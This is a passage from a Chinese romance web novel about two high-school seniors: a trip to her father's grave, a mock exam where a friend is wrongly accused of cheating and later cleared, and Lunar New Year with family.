“我等会儿,静静找我看几道题目。” “行。”林西津没说什么,拎着书包出了教室。 班里也有留下继续自习的人,梁思意给曲静讲完题目,两人一块下了楼,正好赶上实验班放学。 梁思意在楼梯处看见阎慎。 晚上气温低,他戴了一顶黑色针织帽,显 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“没什么。”走到家门口,阎慎伸手推门,淡淡地说:“笔记借你,你不要最后还考不出什么好成绩。” 梁思意听得来气,咬了咬牙说:“你能不能盼我点好。” “祝你好运。”阎慎轻飘飘丢下一句话,率先进了院子。 梁思意攥紧拳头,站在原地乱七八糟踢了一通,才跟着走了进去。 院门一关一合,回归往日平静。 平城的一模定在二月八号、九号两天,学校考虑到两次考试离得太近,索性取消了一月底的校内月考,用模考成绩决定分班结果。 梁思意听到这个消息,稍微松了口气,但一想到模考的时间,她又有些情绪低落。 八号,是她父亲梁远山的忌日。 原本往年,何文兰都会带梁思意回去扫墓。 今年时间不凑巧,刚好那阵子平城流感肆虐,何文兰平时买菜逛超市接触人多,不幸中招。 她便让梁思意先安心考试,考完试再过去。 梁思意嘴上应着,想到第二天刚好是周日,晚上便在手机上买了七号白天最早的一班高铁票。 一模是入校以来最大型的一次考试,也关系到能不能重新回到实验班,梁思意心里始终有些没底。 她需要去找一些底气。 梁思意提前买好来回的高铁票,决定暂时瞒着何文兰,等之后再跟她说。 她第一次做这样的事,一夜都没睡踏实。 第二天一早,何文兰最近病着,起得都很晚,家里静悄悄的。 梁思意背着书包,轻手轻脚下到一楼,刚穿好鞋站起来,身后冷不丁传来一声。 “你去哪儿?” 梁思意吓了一跳,紧掐着手才没喊出来,只是人没站稳,“哐当”一声撞在鞋柜上。 她回过头,气冲冲瞪着阎慎:“你怎么走路没声音啊?” 阎慎也有些无辜,他睡醒口渴下来接杯热水,看见梁思意跟做贼一样蹲在鞋柜那儿。 “你这么一大早去哪儿?”阎慎走近了问。 梁思意把踢乱的鞋重新摆好,站起身说:“我去学校上自习。” 阎慎看了眼时间,平静地说:“现在才六点,周日学校七点开门,你去这么早?” “我准备,准备先顺路去吃个早点。”梁思意不擅长撒谎,眼神飘忽,“我妈最近不是生病做不了饭。” 阎慎依旧怀疑地看着她。 梁思意的车是七点半的,从家里到高铁站打车要半个多小时,怕赶上早高峰,她不想跟阎慎多说:“我先走了,我妈要是问起来,你就说我去学校了。” “我不会撒谎。”阎慎说。 “……”梁思意说,“没让你撒谎,我真是去学校。” “你想一个人去淮城?”阎慎记得明天是她父亲的忌日,昨晚也听阎余新提了一嘴。 梁思意没想到他猜这么准,索性也不再骗他:“我是准备去,一天就回了,我妈不放心我一个人,但我……” “我不会帮你隐瞒。”阎慎说,“万一你路上出了什么事,我替你瞒着岂不是成了帮凶。” 梁思意头都大了,“那你到底要……” “我跟你一起。”阎慎说,“你先打车,我上楼穿件衣服。” “不是……”梁思意不知道事情怎么变成现在这个走向。 “顺便帮我买张高铁票。”阎慎边走边说,“身份证号我发你。” 梁思意没辙,打开购票软件:“那你快点。” “十分钟。” 20.第 20 章 20 平城和淮城离得不远,四十几分钟的高铁,早班车人不是特别多,阎慎上车后换到了梁思意所在的车厢。 窗外景色一闪而过。 梁思意解决完早餐,看向坐在身边戴着耳机闭目养神的人,仍旧有种在做梦的错觉。 早上那会她没睡醒又心虚,一时被阎慎唬住。 在来高铁站的出租车上,梁思意才意识到,阎慎或许不是不会撒谎,只是单纯地担心她。 这个人,要是不会说话就好了。 梁思意被自己的想法逗笑,怕被他发现,转头看向窗外。 过快的车速很快将她带入熟悉的环境。 淮城早年是座矿业城市,近几年国家整改,加上早年过度的开发,矿产业已经没有往日的繁荣景象。 虽然城市面貌不如平城繁华,但梁思意在这片土地长大,一下车,便站在原地深吸了口气。 最近流感严重,又恰逢年关,高铁站是重点防疫部门。 阎慎看她嗅个不停,也扯下口罩闻了闻,空气里全是消毒水味。 “……”他又把口罩戴回去,说,“别闻多了,小心中毒。” “你……”梁思意想吐槽他不解风情,但考虑到他今天也算舍学习陪自己,便忍住没开口,“走吧。” 从高铁站到墓园还有一个多小时的车程,梁思意的姥姥和父亲都葬在这里。 她按照何文兰往年的习俗,在路边的小店买了些纸钱,拿了两瓶父亲平日里爱喝的酒和姥姥爱吃的糕点。 阎慎没有一起跟着进去。 梁思意先去祭拜了姥姥,才走到父亲的碑前,照片上的梁远山一张笑颜,依旧年轻,是她记忆中的模样。 “爸爸,我来看你了。”梁思意起初以为会有很多话想说,但真到了父亲面前,一句话也说不出。 她低着头将纸钱点燃,又倒了三杯酒放在碑前。 “我很好,妈妈也很好,她生病了,所以这次只有我来看你。”梁思意拿纸巾擦了擦墓碑上的照片。 记忆中的梁远山是个特别温柔的人,再忙都会抽出时间陪她,教她画天画树,画还是幼童的梁思意眼中美好的一切。 梁思意默默地掉了两滴泪,许久,才起身同父亲告别:“爸爸,我有一段时间不能来看你了,但你放心,我会好好学习,不辜负你和妈妈的期望。” 她深吸了口气,擦掉眼泪,收起地上垃圾。 梁思意走到台阶处,看见阎慎捧着两束花站在阳光里。 他几步走到她面前,看到梁思意泛红的眼睛,垂着眸说:“我来都来了,顺便也去祭拜一下姥姥和叔叔。” 梁思意心里泛起一阵酸涩的暖意,低声说:“谢谢。” “没什么。”阎慎跟着梁思意到了老人墓前,放下一束花,默默鞠躬。 拜完,他又走到梁远山的墓前,将另一束花靠在墓碑旁,礼貌地弯下腰。 三拜过后,阎慎直起身,看见镶嵌在碑上的照片。 梁思意和他父亲的眉眼极像,笑起来的模样也是如出一辙。 阎慎轻轻叹息,低声同梁远山说了句再见。 从墓园出来,梁思意说:“我可能还要再去一个地方。” 阎慎没什么所谓,问:“打车吗?” 梁思意“嗯”了一声,说:“我叫过车了。” 出租车已经朝着这边开来,上车之后,梁思意才告诉阎慎,“是去我爸爸以前工作的小学,我之前一直住在那边。” “周日学校还开门吗?”阎慎问。 “没事,我认识看门的大爷。”梁思意笑了笑,说,“以前我爸上课,我妈上班,我跟院里的小孩经常在爷爷那边看电视。” 阎慎点点头,没说什么。 到了学校,看门的大爷果然还记得梁思意,跟她推脱半天,不愿收她买的礼品。 “张爷爷,您就拿着吧,我以前也吃了你不少零食呢。”梁思意把东西往他身后的保安室一放,拽着阎慎径直往校园里跑。 冷风呼啸。 阎慎看向抓住自己的梁思意,心中无比希望,这条路没有尽头。 梁思意一直跑到教学楼前,才停下脚步,喘了口气说:“我爸以前就在这个班上课。” 她指了指一楼楼梯口旁边的一间教室。 阎慎顺着看过去。 村镇小学近几年已经收不到太多学生,教室门上的锁也形同摆设,梁思意走近轻轻一推,门便开了。 教室里只放了十几张课桌。 梁思意站在讲桌后,在这间熟悉又陌生的屋子里,记起许多往事:“我以前还不会说话的时候,我爸上课就把我放在讲桌底下,说我特别乖,也不吵不闹的,就抓着他的裤子流口水。” 阎慎坐在桌子上,看着她很轻地笑了一下:“不吵也不闹。” “……”梁思意听出他话里的揶揄,也懒得计较,“我爸妈那时候工资都不高,消耗不起速写纸,我爸经常带我在黑板上画。” 她拿起半截粉笔头,寥寥几笔勾出一个轮廓。 阎慎坐在桌旁,长腿撑地,听着粉笔磕在黑板上的哒哒声,慢慢在黑板上看见另一个自己。 他穿着一件长款羽绒服,拉链敞开,书包背在右肩,一顶针织帽和口罩遮住大半张脸。 只露出一双眼睛。 也唯有这双眼睛,格外生动。 阎慎和自己沉默对视着,梁思意见他不出声,小声问:“你不会没看出来这是谁吧?” “是谁?”阎慎问。 “狗。”梁思意把粉笔丢回盒子里。 “……”他今天比平时多了些笑,沉默几秒,才忽然开口道,“梁思意。” “嗯?”梁思意拍了拍手,搓着指腹上留下的粉笔灰。 “给我画一张真的吧。” “这不就是真的,你把这个拍下来,打印下来,也是一样的。”梁思意说,“高三时间很宝贵的。” 阎慎看着她,说:“这是第二件事。” 梁思意愣了愣,没明白:“什么?” “画本。”阎慎提醒道。 “……”梁思意在心中对比一番,觉得这个交易划算,妥协道,“好吧,你想画什么样的?” “随便。”阎慎说,“你自己想。” 梁思意咬了咬牙:“行!” 屋外刮起了风,吹得教室门晃动。 梁思意将窗户关严实,最后又看了眼教室,才将门关上。 走在校园里,北风从四面八方涌过来,天空灰蒙蒙的,有什么落了下来。 一粒,两粒,砸在羽绒服上,发出噼里啪啦的脆响。 梁思意呼出一口热气,抬起头,雪籽掉在脸上,一阵凉意传来。 她下意识抓住阎慎的胳膊,惊呼:“下雪了。” 阎慎停下脚步,黑色羽绒服上落下几粒雪籽。 “还以为今年不会下雪了呢。”梁思意摘掉手套,用手去接,雪籽落在手心,只一刻便融化。 她乐不思蜀,双手捧起,试图接住更多的雪籽。 阎慎踏着缓慢的脚步跟在后边。 意料之外的初雪和意料之外的出行,是这一年冬天留给他最美好的回忆。 这一天发生的一切,也短暂成为他们共同的秘密。 何文兰并不知道梁思意已经去过淮城,考试那两天还在跟阎余新商量年前空一天回一趟。 梁思意计划着等考完试再说,回来之后也一心扑在一模上。 这次分班不知道是遭了什么运,她跟阎慎、林西津三个人竟然在一个考场。 不幸中的万幸,三个人的座位离得比较远,梁思意直接坐在第一排,和讲桌近在咫尺。 她也分不出心思去看林西津和阎慎。 一模不愧是高考前难度最高的一次考试,考完语文和数学,梁思意已经有些萎靡。 回教室的路上,她一直在想数学最后两道任选题,连林西津跟她讲话都没注意。 “思意。”林西津在她眼前打了个响指,“想什么呢?” “想题目,最后那个任选题的答案,不知道对不对。”梁思意挠了挠头,“一模怎么这么难啊。” “你前边的大题都写完了?”林西津问。 梁思意点点头,叹着气说:“写是写了,就是不知道对不对,每道题都感觉在哪里见过,写起来又很卡。” 林西津笑了笑,说:“别想了,先考完再说吧。” 梁思意“嗯”了一声,心里记挂着任选题的答案,看见走在前边的阎慎,犹豫片刻,还是没有追上去。 晚上自习课照旧,她凭着记忆算来算去,得出的答案还是原先那个。 放学后,梁思意头一回迫不及待跑回家,坐在客厅一直等到阎慎回来:“我问你。” “什么?”阎慎换了鞋,走进客厅。 “今天数学最后两道任选题你做了哪一题?” “第二题。”阎慎说,“你还关心起任选题的答案了?前边都写完了?” “你别瞧不起人。”梁思意不满地看着他,又问,“那第二小问,a的最小值是不是0啊?” 阎慎似乎有些意外,静默了两秒才说是。 梁思意悬了一晚的心终于落地,哼着歌准备回卧室,走到楼梯口才想起什么,回头问:“明天上午考文综,你需不需要我帮你再恶补一下?” “不用。”阎慎说。 “那祝你好运咯。”她笑眯眯上了楼。 过了数学这一难关,梁思意心里算是落下一块大石,考文综和英语时简直是手拿把掐。 午后的阳光晒进教室,笔尖磨过试卷的沙沙声和监考老师放缓的步调,形成一种另类的二重奏。 忽然,教室后方传来一声厉喝:“拿出来。” 整个考场的人都顺着声响望了过去,梁思意看见监考老师停在林西津桌前,心立马提了起来。 林西津被监考老师遮挡住大半身形,声音淡淡的:“他扔过来的,但不是给我的。” “我看着他扔过来的,还说不是给你的?”监考老师一侧身,屈指在另一组靠前一点的男生桌面敲了敲,“你是不是给他的?” 男生看了眼林西津,又看向坐在他身后的握拳晃了晃的男生,低头支吾道:“是……” “你俩都别考了,这科记零分。”监考老师收起两人试卷,“我会通知你们班主任过来。” 林西津站起身说:“我说了,不是给我的。” 监考老师看也不看他,拿起试卷往讲台走,教室里鸦雀无声,打量的视线却纷纷落在林西津身上。 他看见梁思意担忧的目光,看见阎慎毫不在意的背影,心中情绪翻涌,猛地踹了下桌子才坐回原位。 梁思意心绪混乱,无意间对上阎慎漆黑的目光,才又强迫自己冷静下来。 监考老师将林西津和另外一个男生作弊的事情发在监考群里,班级,姓名,一目了然。 考试快结束时,王立新到考场把林西津叫了出去。 梁思意已经写完试卷,看着他走出教室,又跟着王立新消失在走廊。 等 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梁思意从未见过林西津这个模样,一时被喝住,半晌才低声说:“我从来没有拿你跟任何人比过,我帮你,只是因为我……” 她欲言又止,可此时并不是袒露心事的好时机,“是因为,你过去也帮了我很多。” 可是现在的你已经不需要我的帮助了。 林西津看着她,在心里说着。 他抬手搓了搓脸,哑声说:“对不起,我情绪不太好,你先回去吧,我想一个人静一静。” “我……”梁思意不太放心。 “我只想一个人待会儿。”林西津没给她说话的机会,转身走得飞快,最后甚至跑了起来。 梁思意没能跟上他,也没能给他任何帮助,她只告诉王立新,林西津不是会作弊的人。 “放心,这件事学校会调查清楚,林西津的父亲已经申请去调监控了。”王立新拍拍她肩膀,“你先回去吧,寒假结束之后,这件事肯定会有一个结论。” 梁思意没好再说什么,走出学校,看着人来人往的马路,一时间只觉得恍惚和无力。 她回到家里,何文兰提出想着趁年前还有一天的空,带她去一趟淮城。 “不用了妈妈,我去过了。”梁思意三言两语把周日的事情交代清楚,“我有点累了,我想先去休息,晚饭不用叫我。” 何文兰被她的状态吓到,关心道:“是不是生病了?” “没有,就是考试累了。”梁思意回到了卧室,书包丢在床尾,整个人摔躺在床上。 心口像压着一团湿答答的棉花,叫人喘不上气般难受。 身体和心理双重疲惫也没有丝毫困意,她几乎一夜未睡。 次日一早,何文兰来敲门:“思意,阎叔叔说今天下午提前回老家,你醒了吗?醒了就起来下楼吃点东西,我们上午先去买点年货。” “醒了。”梁思意应了一声,翻身下床。 久违地一家人都坐在餐桌边,梁思意脸色不好,饭后被何文兰盯着提前喝了包感冒药。 阎余新说起他们独自去淮城的事,语重心长道:“以后还是要提前跟我们说一声,万一出什么事了,我们该多担心。” 梁思意低头说知道了。 “我们又不是几岁小孩了。”阎慎说,“能出什么事?” 阎余新懒得跟他说,毕竟这次他也算好心,不能骂也不能夸,挥挥手说:“走走走,赶紧收拾东西出门。” 今年林西津一家回了爷爷家那边过年,梁思意回到乡下也没了玩心,整天窝在房间看书。 大年三十的年夜饭,阎家各种远亲近亲在宗祠热热闹闹坐了五六桌。 梁思意和阎慎被分配到不能喝酒的小孩桌。 坐在两人对面的小男孩吃了几口饭,忽然指着梁思意问:“小舅舅,她是谁啊,是小舅妈吗?” “咳——” “噗——” 两个同时端起饮料喝了一口的人,纷纷被呛了一下。 梁思意看向口出狂言的小孩,也没认出是哪家的,但按照他称呼阎慎的叫法,纠正道:“你应该叫我姑姑。” “咕咕~”小孩笑着咕了起来,“咕咕,咕咕。” 阎慎擦了擦嘴,淡声说:“陈鑫,安静点。” “那你吃完饭带我们放烟花啊。”陈鑫说完又咕了一声,被阎慎看了一眼,才把脸往碗里一埋。 梁思意轻咳了一声:“这是你哪个姐姐的小孩?” “阎琳姐。” 阎慎的爷爷阎长林兄弟姐妹多,轮到他们年轻这一辈虽说各家大多是独生子女,但架不住长辈人多。 要真算下来,跟阎慎同辈的差不多能坐满两张四方桌。 他说的阎琳,梁思意也没对上号,但她的儿子陈鑫是个不怕生的,饭才刚吃完,便拉着她要去放烟花。 平城大部分乡县都被禁燃,陈鑫吵着闹着的也就是些没什么太大动静的小烟花。 小孩子不敢点,梁思意被安排去火,但她没有随身带打火机的习惯,正准备回去拿。 阎慎抓住她胳膊:“去哪儿?” “拿打火机。” 他从口袋里摸出一个火机递过去,梁思意看着他,问:“你也抽烟?” 阎慎抠字眼,不答反问:“也?还有谁抽烟?林西津吗?” “……”梁思意当没听见,走过去点了一个小的烟花筒,几个小孩站在旁边拍手欢呼。 她往后退了几步,忽地撞上阎慎。 一回头,璀璨的焰火在他眼睛里闪烁。 21.第 21 章 21 越长大越没年味,尤其还是苦命的高三生,陪着陈鑫他们放完烟花,梁思意和阎慎一前一后回到屋里。 过年只能给他们带来片刻喘息。 梁思意坐在房间的书桌旁,耳机里是成串的英语对话,她埋头写了两小时,长辈们的年夜饭才算彻底结束。 已经快十点,她停笔拿起手机。 自从一模结束,梁思意没再见过林西津,拨他的号码也一直是关机。 关于他作弊的事情,三中的高三大群里起初还讨论不停,今天上午一模成绩公布,群里都在刷分数的事情。 梁思意擦着边进了年级前一百。 她往下滑了许久,才看见林西津的名字,语文数学刚及格,英语考了一百二,但文综那一栏还是零分。 梁思意叹了声气,又往回滑,在第八十位看见阎慎的名字。 他的文综依旧刚过两百,在前一百里不算特别高,但语数英三门几乎是拔尖的存在。 梁思意每次看到他的数学分数都觉得头皮一紧。 快零点的时候,楼下不知道是哪家的婶婶嫂嫂冲着楼上喊了声:“孩子们,下来吃元宝了!” 梁思意揉着手腕走出房间,路过阎慎房间,见房门紧闭,轻手轻脚凑过去听了一耳。 听到有椅子挪地的动静,她立马跳开,快步下了楼。 零点吃元宝是平城的习俗,不是什么特别稀奇的东西,糖水加鸡蛋,也有人往里加些红枣桂圆之类的。 梁思意不怎么饿,只让何文兰给她拿了一个鸡蛋。 她站在院门口两口解决完,陈鑫不知道从哪里窜出来,抓着她的衣摆,另一只手里也拿着一颗鸡蛋。 梁思意摸了摸他的脑袋,听着不远处此起彼伏的鞭炮声,摸出手机给林西津发了条不知道能不能收到回复的新年祝福。 夜里雾气重,她抬头看了会儿天,什么也没看见,搂着陈鑫,说:“走,回去烤火。” 走到院中,陈鑫忽然喊了声:“小舅舅!” 梁思意顺着他的视线抬起头。 二楼的阳台处,阎慎不知何时站在那里,许是听到陈鑫的声音,他也低头看了过来。 隔着不远的距离,两个人的目光在夜色中触碰。 梁思意笑着说:“新年快乐!” 他也久违地没有冷嘲,没有说不好听的话,唇边一抹淡淡笑意:“新年快乐。” 是真正意义上的新年了。 高三的寒假没有那么长,只放到初八。 阎慎初四去了省外的姥姥姥爷家,阎余新医院事情多,送阎慎去车站那天,也带着何文兰和梁思意回了市区。 假期转瞬即逝。 新学期,梁思意重新回到实验班,她从阎余新那里得知,林西津作弊的事情已经调查清楚。 考试中丢答案到他桌上的男生贺磊是受人威胁,要给同班的另一个男生张继涛递答案。 张继涛和林西津的座位一前一后,贺磊胆小,考试中几次回头判断距离,偶尔有几次和林西津对上视线。 林西津觉得疑惑,用眼神询问,贺磊却不回应,只趁着监考老师没注意,随便往后丢了一个纸团,却误打误撞丢到林西津的桌上。 事情发生后,林元良坚持调监控,也在视频里看见贺磊不止同林西津有过交流。 在老师和校领导的几番询问下,贺磊抗不住压力,崩溃地说出了事实,也牵扯出一桩校园霸凌。 之后,学校安排林西津重考文综,计入总分之后,他的排名往前进了不少,但新学期,他没有再来学校上课。 “你姑父给西津请了家教,一直上到高考前。”周末的饭桌上,阎余新关心道,“你们要是觉得在学校上课不开心,也可以请家教在家里上课。” 梁思意连忙摆手说:“不用了,阎叔叔,我觉得在学校上课挺好的。” 要是成天在家和阎慎抬头不见低头见,她最后不是被他卷死,就是被他变态的数学吓死。 阎慎也跟着说不用,阎余新便没再坚持。 进入最后冲刺阶段,谁也没心思再想别的。 那段混乱压抑的时光中,梁思意写过数不清的试卷,笔芯空得越来越快,夜里的灯也关得越来越晚。 有时何文兰起夜路过餐厅,两个人压根注意不到,只沉浸在自己的世界里。 她重新接了壶热水放在桌边,又静悄悄回了卧室。 何文兰在学习上帮不上什么忙,但每天的饮食都下了功夫研究,各种补汤轮番出现在家里的饭桌上。 三月高考体检,难得的一天休息,但疲惫的高三生根本提不起任何放松的兴趣。 按部就班走完所有的流程已经是傍晚,晚上没有自习,所以没多少人坐大巴车回校。 梁思意和阎慎家离得近,也懒得去挤公交,上了一辆人不太多的大巴。 她昨晚睡得晚,又折腾一下午,上车之后困意席卷,脑袋跟着车子晃来晃去,最后似乎被什么托住。 梁思意困得没有意识去思考,顺着那股力道放松,直至靠在一团柔软里,完全昏睡过去。 等再醒来,已经是晚上了,早春的天黑得没有那么快。 她在恍惚里睁开眼,车窗外是熟悉的街景,24小时营业的便利店,放着流行音乐的理发店。 街道旁的路灯光线明亮,梁思意抬起头,看到身旁一样靠着椅背睡得很沉的阎慎。 随着她的动作,垫在他肩上的校服外套顺着滑落,梁思意下意识伸手接住,抬眼见他没什么反应,又小心翼翼地拿开。 她靠着椅背望向窗外,忽然想起什么,从书包里翻出纸和笔。 笔尖沙沙地在空白的草稿纸上划过。 阎慎在这样的动静里睁开眼,高强度学习之下的疲惫和倦意依旧难以消解,他没有惊动梁思意,只垂眸看向她拿在手中的草稿纸。 不是意料中的计算公式。 梁思意沉浸在画中,只偶尔侧眸看一眼阎慎,手中的铅笔不停落下,纸上的轮廓逐渐清晰。 是之前答应给阎慎的画。 她一直没想好画些什么,阎慎也没催着要,一直拖到今天,梁思意才冒出些想法。 不知道画了多久,她停笔,拿起草稿纸对着阎慎来回比较一番,颇为满意地屈指在纸页上弹了下:“完工!” 阎慎适时地醒来,梁思意把画递给他:“给,之前说好的,还剩最后一件事了。” 他“嗯”了一声,接过画。 “怎么样?”梁思意问。 她没有画特别复杂的画面,只将他刚刚睡觉的模样画了出来,是安静的睡容,也是英俊的模样。 阎慎慢条斯理地说:“底子好,画出来的也不会差。” “……”梁思意懒得跟他废话,把笔和书收起来,“回家吧回家吧。” 她没注意,铅笔掉在地上,弯腰去捡的时候,忽然感觉鼻子一热,有什么东西流了下来。 梁思意捂着鼻子抬起头。 阎慎借着车外的灯光看见她指缝间的血迹,愣了一下才立马起身,扶住她的脑袋:“别仰头。 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大巴车停在学校路边的车位,穿过马路后,阎慎进便利店买了一杯冰块,“冷敷一下鼻梁或者颈侧。” “哦。”梁思意用没弄脏的那只手接过冰杯贴在颈侧,在不算热的天气里,凉意很快从脖子透到心底。 沉默着走了一段路后,她第一次提到彼此间最敏感的话题:“其实,你挺适合当医生的,如果不是……你学理科会轻松很多。” “是适合,又不是喜欢。”阎慎说。 “那你喜欢什么?”梁思意侧头看他。 阎慎却没和她对视,望着近在眼前的院门,淡淡地说:“没什么喜欢的。” “……”梁思意不再追问,推开门进了院子。 进了家,两人手上的血迹引起了何文兰的注意,她吓了一大跳,梁思意笑着说:“只是流鼻血,可能是最近吃太补了。” 何文兰担忧地问道:“真没事?” “真没事,今天不是也去体检了吗?等过两天结果出来,你让阎叔叔拿给你看,反正今天是在他们医院体检的。”梁思意说,“阎叔叔说他晚上加班,不回来吃晚饭了。” “行,我知道了。”何文兰边走边说,“今晚给你们煲点下火的汤,这天气马上也要热了,喝点苦瓜炖排骨怎么样?” “不要!”梁思意大声拒绝。 “小阎呢?喝不喝?”何文兰又问。 阎慎站在桌边喝水,见梁思意坐在何文兰身后,举起胳膊比了一个大大的叉,笑着点了点头:“行。” 梁思意:“……” 晚上吃饭,梁思意格外热情,见阎慎的碗空了,便站起身给他舀汤:“你不是爱喝吗?多喝点。” “不了。”阎慎抬手挡在碗前,“流鼻血的人也不是我。” “可这是我妈妈特意为你做的。”梁思意拨开他的手,又盛了满满一碗汤,“你多喝点,不要浪费。” 阎慎吃瘪,又不好说什么,埋头喝了五六碗汤。 梁思意小小地报了仇,心情愉悦,给自己也盛了一碗,只喝了一口,差点没吐出来。 苦瓜,什么逆天的蔬菜。 阎慎坐在对面,捧着碗,幸灾乐祸地说道:“别浪费啊。” 梁思意一咬牙,端起碗一口气闷完,碗一搁。 “哐当”一声。 窗外乍起一声闷雷,春天的第一场雨来了。